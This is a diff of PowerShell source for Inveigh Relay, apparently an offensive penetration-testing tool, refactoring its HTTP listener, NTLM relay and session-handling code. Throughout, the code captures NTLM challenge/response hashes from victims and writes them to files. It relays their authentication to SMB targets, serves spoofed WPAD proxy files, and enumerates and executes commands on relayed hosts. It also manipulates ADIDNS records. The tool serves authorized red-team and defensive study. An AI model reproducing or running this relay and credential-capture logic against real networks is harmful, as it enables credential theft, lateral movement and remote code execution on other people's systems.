                 $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64
@@ -5376,6 +5241,7 @@ $HTTP_scriptblock =
             {
                 $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ',''
                 [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization)
+                $HTTP_connection_header_close = $false
             
                 if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00')
                 {
@@ -5383,9 +5249,9 @@ $HTTP_scriptblock =
                     if($inveigh.SMB_relay -and $relay_step -eq 0)
                     {
                         $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay initiated by $HTTP_source_IP") > $null
-                        $SMB_connect = SMBConnect $process_ID_bytes $HTTP_source_IP
+                        $SMB_connect = Invoke-SMBConnect $process_ID_bytes $HTTP_source_IP
                         $target = $SMB_connect[1]
-                        $SMB_client = $SMB_connect[0]
+                        $client = $SMB_connect[0]
                         $HTTP_client_close = $false
                     
                         if(!$target)
@@ -5393,7 +5259,7 @@ $HTTP_scriptblock =
                             $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Eligible target not found") > $null
                             $relay_step = 0
                         }
-                        elseif(!$SMB_client.connected)
+                        elseif(!$client.connected)
                         {
                             $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Relay target is not responding") > $null
                             $relay_step = 0
@@ -5405,12 +5271,12 @@ $HTTP_scriptblock =
 
                         if($relay_step -eq 1)
                         {
-                            $SMB_relay_bytes = SMBRelayChallenge $SMB_client $HTTP_request_bytes $SMB_version $process_ID_bytes
+                            $SMB_relay_bytes = Invoke-SMBRelayChallenge $client $HTTP_request_bytes $SMB_version $process_ID_bytes
 
                             if($SMB_relay_bytes.Length -le 3)
                             {
                                 $relay_step = 0
-                                $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port
+                                $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port
                             }
 
                         }
@@ -5443,7 +5309,7 @@ $HTTP_scriptblock =
                     
                             $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
                             $NTLM = 'NTLM ' + $NTLM_challenge_base64
-                            $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes
+                            $NTLM_challenge = Invoke-SMBNTLMChallenge $SMB_relay_bytes
                             $inveigh.HTTP_challenge_queue.Add($HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge) > $null
                             $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Received challenge $NTLM_challenge for relay from $Target") > $null
                             $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") > $null
@@ -5451,13 +5317,13 @@ $HTTP_scriptblock =
                         }
                         else
                         {
-                            $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port
+                            $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port
                         }
 
                     }
                     else
                     {
-                        $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port
+                        $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port
                     }
 
                 }
@@ -5473,7 +5339,7 @@ $HTTP_scriptblock =
                        
                     if($HTTP_NTLM_domain_length -eq 0)
                     {
-                        $HTTP_NTLM_domain_string = ""
+                        $HTTP_NTLM_domain_string = $null
                     }
                     else
                     {  
@@ -5485,7 +5351,7 @@ $HTTP_scriptblock =
                     
                     if($HTTP_NTLM_user_length -eq 0)
                     {    
-                        $HTTP_NTLM_user_string = ""
+                        $HTTP_NTLM_user_string = $null
                     }
                     else
                     {
@@ -5519,13 +5385,13 @@ $HTTP_scriptblock =
 
                             if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")))
                             {
-                                $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash)
+                                $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) > $null
                                 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type $NTLM_type challenge/response written to " + $inveigh.NTLMv1_out_file) > $null
                             }
 
                             if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")
                             {
-                                $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_username_full")
+                                $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_username_full") > $null
                             }
 
                         }
@@ -5575,11 +5441,11 @@ $HTTP_scriptblock =
                     {
                         $session = $HTTP_username_full
                     }
-
-                    if($inveigh.enumeration_data | Where-Object {$_.Hostname -eq $hostname})
+                    
+                    if($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname})
                     {
-                        $target_index = $inveigh.enumeration_data | Where-Object {$_.Hostname -eq $hostname} | Select-Object -expand Index
-                        $session_list = @($inveigh.enumeration_data[$target_index].Sessions)
+                        $target_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname} | Select-Object -expand Index -First 1
+                        [Array]$session_list = $inveigh.enumerated_data[$target_index].Sessions
 
                         if($inveigh.domain_mapping_table.ContainsKey($HTTP_NTLM_domain_string))
                         {
@@ -5592,7 +5458,7 @@ $HTTP_scriptblock =
                                 if($session_list[$i] -like "$HTTP_NTLM_domain_string\*")
                                 {
                                     $session_list[$i] = $session_update
-                                    $inveigh.enumeration_data[$target_index].Sessions = $session_list
+                                    $inveigh.enumerated_data[$target_index].Sessions = $session_list
                                 }
 
                             }
@@ -5601,16 +5467,25 @@ $HTTP_scriptblock =
 
                         if($session_list -notcontains $session)
                         {
-                            $session_list += $session
-                            $inveigh.enumeration_data[$target_index].Sessions = $session_list
+                            
+                            if($session_list)
+                            {
+                                $session_list += $session
+                            }
+                            else
+                            {
+                                [Array]$session_list = $session
+                            }
+
+                            $inveigh.enumerated_data[$target_index].Sessions = $session_list
                         }
 
                     }
-                    elseif($inveigh.enumeration_data | Where-Object {$_.IP -eq $HTTP_source_IP})
+                    elseif($inveigh.enumerated_data | Where-Object {$_.IP -eq $HTTP_source_IP})
                     {
-                        $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $HTTP_source_IP} | Select-Object -expand Index
-                        $inveigh.enumeration_data[$target_index].Hostname = $hostname
-                        $session_list = @($inveigh.enumeration_data[$target_index].Sessions)
+                        $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $HTTP_source_IP} | Select-Object -expand Index -First 1
+                        $inveigh.enumerated_data[$target_index].Hostname = $hostname
+                        $session_list = @($inveigh.enumerated_data[$target_index].Sessions)
 
                         if($inveigh.domain_mapping_table.ContainsKey($HTTP_NTLM_domain_string))
                         {
@@ -5623,7 +5498,7 @@ $HTTP_scriptblock =
                                 if($session_entry -like "$HTTP_NTLM_domain_string\*")
                                 {
                                     $session_list[$i] = $session_update
-                                    $inveigh.enumeration_data[$target_index].Sessions = $session_list
+                                    $inveigh.enumerated_data[$target_index].Sessions = $session_list
                                 }
 
                             }
@@ -5633,19 +5508,19 @@ $HTTP_scriptblock =
                         if($session_list -notcontains $session)
                         {
                             $session_list += $session
-                            $inveigh.enumeration_data[$target_index].Sessions = $session_list
+                            $inveigh.enumerated_data[$target_index].Sessions = $session_list
                         }
 
                     }
                     else
                     {
-                        $inveigh.enumeration_data += New-RelayEnumObject -IP $HTTP_source_IP -Hostname $hostname -Session $session
+                        $inveigh.enumerated_data += New-RelayEnumObject -IP $HTTP_source_IP -Hostname $hostname -Session $session
                     }
                     
                     $HTTP_response_status_code = 0x32,0x30,0x30
                     $HTTP_response_phrase = 0x4f,0x4b
                     $HTTP_client_close = $true
-                    $NTLM_challenge = ""
+                    $NTLM_challenge = $null
                     
                     if($inveigh.SMB_relay -and $relay_step -eq 2)
                     {
@@ -5656,134 +5531,145 @@ $HTTP_scriptblock =
                             if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))
                             {
 
-                                if($inveigh.relay_failed_auth_table.$HTTP_username_full.Count -le $FailedAuthLimit)
+                                if($inveigh.relay_failed_login_table.$HTTP_username_full.Count -le $FailedLoginThreshold)
                                 {
-                                    $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Sending $NTLM_type response for $HTTP_username_full for relay to $Target") > $null
-                                    $SMB_relay_failed = SMBRelayResponse $SMB_client $HTTP_request_bytes $SMB_version $SMB_user_ID $session_ID $process_ID_bytes
-                                    
-                                    if(!$SMB_relay_failed)
-                                    {
-                                        $inveigh.session_current = $inveigh.session_count
-                                        $inveigh.session_message_ID_table.Add($inveigh.session_count,3)
 
-                                        if($Attack -contains 'Session')
+                                    if(@($inveigh.session_list | Where-Object {$_.user -eq $HTTP_username_full -and $_.Status -eq 'connected'}).Count -lt $SessionLimitShare)
+                                    {
+                                        $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Sending $NTLM_type response for $HTTP_username_full for relay to $Target") > $null
+                                        $SMB_relay_failed = Invoke-SMBRelayResponse $client $HTTP_request_bytes $SMB_version $SMB_user_ID $session_ID $process_ID_bytes
+                                        
+                                        if(!$SMB_relay_failed)
                                         {
+                                            $inveigh.session_current = $inveigh.session_count
+                                            $inveigh.session_message_ID_table.Add($inveigh.session_count,3)
 
-                                            if($SMB_client.Connected)
+                                            if($Attack -contains 'Session')
                                             {
-                                                $inveigh.session_socket_table[$inveigh.session_count] = $SMB_client
-                                                $inveigh.session_table[$inveigh.session_count] = $session_ID
-                                                $inveigh.session_lock_table[$inveigh.session_count] = 'open'
-                                                $session_privilege = SMBRelayExecute $SMB_client $SMB_version $SMB_user_ID $session_ID $process_ID_bytes $true
-                                                $session_object = New-Object PSObject
-                                                Add-Member -InputObject $session_object -MemberType NoteProperty -Name Session $inveigh.session_count
-                                                Add-Member -InputObject $session_object -MemberType NoteProperty -Name Target $SMB_client.Client.RemoteEndpoint.Address.IPaddressToString
-                                                Add-Member -InputObject $session_object -MemberType NoteProperty -Name Initiator $HTTP_source_IP
-                                                Add-Member -InputObject $session_object -MemberType NoteProperty -Name User $HTTP_username_full
                                                 
-                                                if($session_privilege)
-                                                {
-                                                    Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "yes"
-                                                }
-                                                else
+                                                if($client.Connected)
                                                 {
-                                                    Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "no"
-                                                }
+                                                    $inveigh.session_socket_table[$inveigh.session_count] = $client
+                                                    $inveigh.session_table[$inveigh.session_count] = $session_ID
+                                                    $inveigh.session_lock_table[$inveigh.session_count] = 'open'
+                                                    $session_privilege = Invoke-SMBRelayExecute $client $SMB_version $SMB_user_ID $session_ID $process_ID_bytes $true
+                                                    $session_object = New-Object PSObject
+                                                    Add-Member -InputObject $session_object -MemberType NoteProperty -Name Session $inveigh.session_count
+                                                    Add-Member -InputObject $session_object -MemberType NoteProperty -Name Target $client.Client.RemoteEndpoint.Address.IPaddressToString
+                                                    Add-Member -InputObject $session_object -MemberType NoteProperty -Name Initiator $HTTP_source_IP
+                                                    Add-Member -InputObject $session_object -MemberType NoteProperty -Name User $HTTP_username_full
+                                                    
+                                                    if($session_privilege)
+                                                    {
+                                                        Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "yes"
+                                                    }
+                                                    else
+                                                    {
+                                                        Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "no"
+                                                    }
+
+                                                    if($client.Connected)
+                                                    {
+                                                        $status = "connected"
+                                                        Add-Member -InputObject $session_object -MemberType NoteProperty -Name Status $status
+                                                        Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Established" $(Get-Date -format s)
+                                                        Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Last Activity" $(Get-Date -format s)
+                                                        $inveigh.session_list += $session_object
+                                                        $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Session $($inveigh.session_count) added to session list") > $null
+                                                    }
 
-                                                if($SMB_client.Connected)
-                                                {
-                                                    $status = "connected"
-                                                    Add-Member -InputObject $session_object -MemberType NoteProperty -Name Status $status
-                                                    Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Established" $(Get-Date -format s)
-                                                    Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Last Activity" $(Get-Date -format s)
-                                                    $inveigh.session_list += $session_object
-                                                    $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Session $($inveigh.session_count) added to session list") > $null
                                                 }
 
                                             }
 
-                                        }
+                                            if($Attack -contains 'Enumerate' -or $Attack -contains 'Execute')
+                                            {
+                                                $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1
+                                                $filter_date = Get-Date
+                                            }
 
-                                        if($Attack -contains 'Enumerate' -or $Attack -contains 'Execute')
-                                        {
-                                            $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index
-                                            $filter_date = Get-Date
-                                        }
+                                            if(($attack -contains 'Enumerate' -and $client.Connected) -and
+                                            (!$inveigh.enumerated_data[$target_index].Enumerate -or
+                                            (New-TimeSpan $inveigh.enumerated_data[$target_index].Enumerate $filter_date).Minutes -gt $RepeatEnumerate))
+                                            {
+                                                Invoke-SMBRelayEnum $client $SMB_user_ID $session_ID $process_ID_bytes $Enumerate $EnumerateGroup
+                                            }
 
-                                        if(($attack -contains 'Enumerate' -and $SMB_client.Connected) -and
-                                        (!$inveigh.enumeration_data[$target_index].Enumerate -or
-                                        (New-TimeSpan $inveigh.enumeration_data[$target_index].Enumerate $filter_date).Minutes -gt $RepeatEnumerate))
-                                        {
-                                            SMBRelayEnum $SMB_client $SMB_user_ID $session_ID $process_ID_bytes $Enumerate $EnumerateGroup
-                                        }
+                                            if((($session_privilege -and $Attack -contains 'Execute' -and $Attack -contains 'Session' -and $client.Connected) -or
+                                            ($Attack -contains 'Execute' -and $Attack -notcontains 'Session' -and $client.Connected)) -and
+                                            (!$inveigh.enumerated_data[$target_index].Execute -or (New-TimeSpan $inveigh.enumerated_data[$target_index].Execute $filter_date).Minutes -gt $RepeatExecute))
+                                            {
+                                                Invoke-SMBRelayExecute $client $SMB_version $SMB_user_ID $session_ID $process_ID_bytes $false
+                                                $inveigh.enumerated_data[$target_index].Execute = $(Get-Date -format s)
+                                            }
 
-                                        if((($session_privilege -and $Attack -contains 'Execute' -and $Attack -contains 'Session' -and $SMB_client.Connected) -or
-                                        ($Attack -contains 'Execute' -and $Attack -notcontains 'Session' -and $SMB_client.Connected)) -and
-                                        (!$inveigh.enumeration_data[$target_index].Execute -or (New-TimeSpan $inveigh.enumeration_data[$target_index].Execute $filter_date).Minutes -gt $RepeatExecute))
-                                        {
-                                            SMBRelayExecute $SMB_client $SMB_version $SMB_user_ID $session_ID $process_ID_bytes $false
-                                            $inveigh.enumeration_data[$target_index].Execute = $(Get-Date -format s)
+                                            if(!$client.Connected)
+                                            {
+                                                $inveigh.session_list[$inveigh.session_count] | Where-Object {$_.Status = "disconnected"}
+                                            }
+
+                                            $inveigh.session_count++
                                         }
 
-                                        if(!$SMB_client.Connected)
+                                        if($Attack -notcontains 'Session' -and !$SMB_relay_failed -and $RelayAutoDisable -eq 'Y')
                                         {
-                                            $inveigh.session_list[$inveigh.session_count] | Where-Object {$_.Status = "disconnected"}
-                                        }
 
-                                        $inveigh.session_count++
-                                    }
+                                            if($Attack -contains 'Enumerate')
+                                            {
 
-                                    if($Attack -notcontains 'Session' -and !$SMB_relay_failed -and $RelayAutoDisable -eq 'Y')
-                                    {
+                                                $targets_enumerate_complete = $inveigh.enumerated_data | Where-Object {$_.Enumerate} | Select-Object -expand IP
 
-                                        if($Attack -contains 'Enumerate')
-                                        {
+                                                if($inveigh.target_list -and $targets_enumerated)
+                                                {
+                                                    $targets_enumerate_remaining = Compare-Object -ReferenceObject $inveigh.target_list -DifferenceObject $targets_enumerate_complete -PassThru | Where-Object {$_.SideIndicator -eq "<="}
+                                                }
 
-                                            $targets_enumerate_complete = $inveigh.enumeration_data | Where-Object {$_.Enumerate} | Select-Object -expand IP
+                                            }
 
-                                            if($inveigh.target_list -and $targets_enumerated)
+                                            if($Attack -contains 'Execute')
                                             {
-                                                $targets_enumerate_remaining = Compare-Object -ReferenceObject $inveigh.target_list -DifferenceObject $targets_enumerate_complete -PassThru | Where-Object {$_.SideIndicator -eq "<="}
-                                            }
 
-                                        }
+                                                $targets_execute_complete = $inveigh.enumerated_data | Where-Object {$_.Execute} | Select-Object -expand IP
 
-                                        if($Attack -contains 'Execute')
-                                        {
+                                                if($inveigh.target_list -and $targets_enumerated)
+                                                {
+                                                    $targets_execute_remaining = Compare-Object -ReferenceObject $inveigh.target_list -DifferenceObject $targets_execute_complete -PassThru | Where-Object {$_.SideIndicator -eq "<="}
+                                                }
 
-                                            $targets_execute_complete = $inveigh.enumeration_data | Where-Object {$_.Execute} | Select-Object -expand IP
+                                            }
 
-                                            if($inveigh.target_list -and $targets_enumerated)
+                                            if($Attack -notcontains 'Session' -or (!$targets_enumerate_remaining -and $Attack -contains 'Enumerate' -and $Attack -notcontains 'Execute') -or
+                                            (!$targets_execute_remaining -and $Attack -contains 'Execute' -and $Attack -notcontains 'Enumerate') -or
+                                            (!$targets_enumerate_remaining -and !$targets_execute_remaining -and $Attack -contains 'Enumerate' -and $Attack -contains 'Execute'))
                                             {
-                                                $targets_enumerate_remaining = Compare-Object -ReferenceObject $inveigh.target_list -DifferenceObject $targets_execute_complete -PassThru | Where-Object {$_.SideIndicator -eq "<="}
+                                                $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay auto disabled due to success") > $null
+                                                $inveigh.SMB_relay = $false
                                             }
 
                                         }
 
-                                        if((!$targets_enumerate_remaining -and $Attack -contains 'Enumerate' -and $Attack -notcontains 'Execute') -or
-                                        (!$targets_execute_remaining -and $Attack -contains 'Execute' -and $Attack -notcontains 'Enumerate') -or
-                                        (!$targets_enumerate_remaining -and !$targets_execute_remaining -and $Attack -contains 'Enumerate' -and $Attack -contains 'Execute'))
-                                        {
-                                            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay auto disabled due to success") > $null
-                                            $inveigh.SMB_relay = $false
-                                        }
-
+                                        $relay_step = 0
+                                    }
+                                    else
+                                    {
+                                        $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay stopped since $HTTP_username_full has exceeded session limit on $target") > $null
+                                        $client.Close()
+                                        $relay_step = 0
                                     }
 
-                                    $relay_step = 0
                                 }
                                 else
                                 {
-                                    $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay aborted since $HTTP_username_full has exceeded failed login limit") > $null
-                                    $SMB_client.Close()
+                                    $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay stopped since $HTTP_username_full has exceeded failed login limit") > $null
+                                    $client.Close()
                                     $relay_step = 0
                                 }
 
                             }
                             else
                             {
-                                $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") > $null
-                                $SMB_client.Close()
+                                $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay stopped since $HTTP_NTLM_user_string appears to be a machine account") > $null
+                                $client.Close()
                                 $relay_step = 0
                             }
 
@@ -5791,7 +5677,7 @@ $HTTP_scriptblock =
                         else
                         {
                             $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full not on relay username list") > $null
-                            $SMB_client.Close()
+                            $client.Close()
                             $relay_step = 0
                         }
 
@@ -5813,26 +5699,32 @@ $HTTP_scriptblock =
             if(!$proxy_listener -and $WPADResponse -and $HTTP_request_raw_URL -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})))
             {
                 $HTTP_message = $WPADResponse
-                $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig")
+                $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/x-ns-proxy-autoconfig")
             }
 
             $HTTP_timestamp = Get-Date -format r
             $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp)
-            $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length)
             $HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message)
 
             if($HTTP_request_raw_URL -notmatch '/wpad.dat' -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close)
             { 
                 $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM)
             }
-
+            
             $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary
-            $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20))
+            $packet_HTTPResponse.Add("HTTPResponse_ResponseVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20))
             $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20))
             $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a))
-            $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a))
+
+            if($HTTP_connection_header_close)
+            {
+                $HTTP_connection_header = [System.Text.Encoding]::UTF8.GetBytes("Connection: close")
+                $packet_HTTPResponse.Add("HTTPResponse_Connection",$HTTP_connection_header + [Byte[]](0x0d,0x0a))
+            }
+
+            $packet_HTTPResponse.Add("HTTPResponse_Server",[System.Text.Encoding]::UTF8.GetBytes("Server: Microsoft-HTTPAPI/2.0") + [Byte[]](0x0d,0x0a))
             $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a))
-            $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a))
+            $packet_HTTPResponse.Add("HTTPResponse_ContentLength",[System.Text.Encoding]::UTF8.GetBytes("Content-Length: $($HTTP_message_bytes.Length)") + [Byte[]](0x0d,0x0a))
 
             if($HTTP_header_authenticate -and $HTTP_header_authenticate_data)
             {
@@ -5879,11 +5771,10 @@ $HTTP_scriptblock =
         else
         {
 
-            if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout)
+            if($HTTP_data_available -or $HTTP_connection_header_close)
             {
                 $HTTP_client.Close()
                 $HTTP_client_close = $true
-                $HTTP_reset_delay = $false
             }
             else
             {
@@ -5908,10 +5799,10 @@ $control_relay_scriptblock =
 {
     param ($ConsoleQueueLimit,$RelayAutoExit,$RunTime)
     
-    function OutputQueueLoop
+    function Invoke-OutputQueueLoop
     {
 
-        while($inveigh.output_queue.Count -gt 0 -and !$inveigh.output_pause)
+        while($inveigh.output_queue.Count -gt 0)
         {
             $inveigh.console_queue.Add($inveigh.output_queue[0]) > $null
 
@@ -5933,7 +5824,7 @@ $control_relay_scriptblock =
     function Stop-InveighRunspace
     {
         param ([String]$Message)
-
+        
         if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete))
         {
 
@@ -5957,35 +5848,6 @@ $control_relay_scriptblock =
 
         }
 
-        if($inveigh.DNS_table.Count -gt 0)
-        {
-
-            foreach($DNS_host in $inveigh.DNS_table.Keys)
-            {
- 
-                if($inveigh.DNS_table.$DNS_host -eq 1)
-                {
-
-                    $DNS_update = Invoke-DNSUpdateLite -DNSType A -DNSName $DNS_host
-
-                    if($DNS_update -eq "[+] DNS update successful")
-                    {
-                        $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] DNS host (A) record for $DNS_host removed")
-                    }
-                    else
-                    {
-                        $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] DNS host (A) record for $DNS_host remove failed")
-                    }
-
-                }
-
-            }
-
-            $inveigh.DNS_list = New-Object System.Collections.ArrayList
-            $inveigh.requested_host_list = New-Object System.Collections.ArrayList
-            $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList
-        }
-
         if($inveigh.ADIDNS -eq 'Wildcard')
         {
 
@@ -6002,19 +5864,19 @@ $control_relay_scriptblock =
             
         }
 
-        if($inveigh.ADIDNS -eq 'Combo' -and $inveigh.DNS_table.Count -gt 0)
+        if($inveigh.ADIDNS -eq 'Combo' -and $inveigh.ADIDNS_table.Count -gt 0)
         {
 
-            foreach($DNS_host in $inveigh.DNS_table.Keys)
+            foreach($DNS_host in $inveigh.ADIDNS_table.Keys)
             {
  
-                if($inveigh.DNS_table.$DNS_host -eq 1)
+                if($inveigh.ADIDNS_table.$DNS_host -eq 1)
                 {
 
                     try
                     {
                         Disable-ADIDNSNode -Credential $ADIDNSCredential -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node $DNS_host -Partition $ADIDNSPartition -Zone $ADIDNSZone
-                        $inveigh.DNS_table.$DNS_host = ""
+                        $inveigh.ADIDNS_table.$DNS_host = $null
                     }
                     catch
                     {
@@ -6032,29 +5894,41 @@ $control_relay_scriptblock =
         
         if($inveigh.relay_running)
         {
-            Start-Sleep -S 1
+            Start-Sleep -m 100
 
             if($Message)
             {
                 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting due to $Message") > $null
             }
+            else
+            {
+                $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting") > $null  
+            }
+
+            if(!$inveigh.running)
+            {
+                Invoke-OutputQueueLoop
+                Start-Sleep -m 100
+            }
 
-            OutputQueueLoop
-            Start-Sleep -S 1
             $inveigh.relay_running = $false
         }
 
         if($inveigh.running)
         {
-            Start-Sleep -S 1
-            
+            Start-Sleep -m 100
+
             if($Message)
             {
                 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting due to $Message") > $null
             }
+            else
+            {
+                $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting") > $null  
+            }
 
-            OutputQueueLoop
-            Start-Sleep -S 1
+            Invoke-OutputQueueLoop
+            Start-Sleep -m 100
             $inveigh.running = $false
         }
 
@@ -6067,7 +5941,7 @@ $control_relay_scriptblock =
         $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
     }
        
-    while($inveigh.relay_running)
+    while($inveigh.relay_running -and !$inveigh.running)
     {
 
         if($RelayAutoExit -eq 'Y' -and !$inveigh.SMB_relay)
@@ -6131,7 +6005,11 @@ $control_relay_scriptblock =
 
         }
 
-        OutputQueueLoop
+        if(!$inveigh.running)
+        {
+            Invoke-OutputQueueLoop
+        }
+
         Start-Sleep -m 5
 
         if($inveigh.stop)
@@ -6165,12 +6043,12 @@ $session_refresh_scriptblock =
                 if($inveigh.session_socket_table[$session].Connected -and $inveigh.session_lock_table[$session] -eq 'open' -and $session_timespan.Minutes -ge $SessionRefresh)
                 {
                     $inveigh.session_lock_table[$session] = 'locked'
-                    $SMB_client = $inveigh.session_socket_table[$session]
-                    $SMB_client_stream = $SMB_client.GetStream()
+                    $client = $inveigh.session_socket_table[$session]
+                    $client_stream = $client.GetStream()
                     $session_ID = $inveigh.session_table[$session]
                     $message_ID =  $inveigh.session_message_ID_table[$session]
                     $tree_ID = 0x00,0x00,0x00,0x00
-                    $SMB_client_receive = New-Object System.Byte[] 1024
+                    $client_receive = New-Object System.Byte[] 1024
                     $SMB_path = "\\" + $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString + "\IPC$"
                     $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path)
                     $message_ID++
@@ -6180,13 +6058,13 @@ $session_refresh_scriptblock =
                     $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    
                     $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
                     $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                    $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+                    $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
 
                     try
                     {
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+                        $client_stream.Write($client_send,0,$client_send.Length) > $null
+                        $client_stream.Flush()
+                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
                     }
                     catch
                     {
@@ -6196,7 +6074,7 @@ $session_refresh_scriptblock =
 
                     if($inveigh.session_socket_table[$session].Connected)
                     {
